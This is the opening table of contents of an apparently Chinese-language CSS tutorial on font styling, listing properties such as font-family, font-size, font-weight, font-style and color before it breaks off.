目录 一、CSS字体样式 1. 字体类型&#xff08;font-family&#xff09; 2. 字体大小&#xff08;font-size&#xff09; 3. 字体粗细&#xff08;font-weight&#xff09; 4. 字体风格&#xff08;font-style&#xff09; 5. 字体颜色&#xff08;color&#xff09; 6. …